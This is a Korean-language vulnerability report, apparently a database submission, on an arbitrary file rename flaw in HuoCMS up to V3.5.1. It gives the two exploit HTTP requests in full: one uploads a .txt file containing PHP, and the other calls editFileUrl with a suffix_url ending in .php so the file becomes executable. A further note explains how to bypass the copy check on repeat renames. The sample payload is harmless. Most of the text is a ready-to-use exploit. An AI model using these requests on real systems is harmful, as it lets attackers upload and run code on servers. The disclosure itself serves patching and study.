
세부 정보
yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
AttachmentController.php
HuoCMS - <=V3.5.1
app ->controller ->backend -> AttachmentController.php:editFileUrl()
editFileUrl 메서드에서 호출되는 copy 함수의 $newPathUrl 접미사는 화이트리스트로 검증되지 않아 파일 이름을 수정하는 데 악용될 수 있습니다. 접미사는 전달된 suffix_url에 의해 제어되며 조작 가능합니다.

1단계: 사전에 화이트리스트에 등록된 접미사를 가진 악성 콘텐츠가 포함된 파일을 업로드하고 동시에 파일 ID를 기록합니다.
POST /attachment/uploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Length: 581
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin.php/Index/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="type"
2
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="attachment_cate_id"
0
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="reduce_img"
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
<?php
echo "hello word!"
?>
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9--

내용에 기반하여 ID는 67로 확인됩니다.
2단계: 그런 다음 editFileUrl을 기반으로 요청을 구성하여 id 67인 파일의 이름을 변경합니다. 이때 취약점의 editFileUrl 내부의 copy 함수가 호출되어 불법적인 접미사로 파일 이름을 변경합니다.
POST /attachment/editFileUrl HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: token
Content-Length: 83
Origin: http://127.0.0.1
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
id=67&name=test&prefix_url=&suffix_url=file/20250416/test.php&description=123123123

참고: 다시 수정하려면 suffix_url의 파일 이름을 변경하여 editFileUrl 내부에서 $oldPathUrl != $newPathUrl에 의해 트리거되는 copy 함수를 우회해야 합니다.
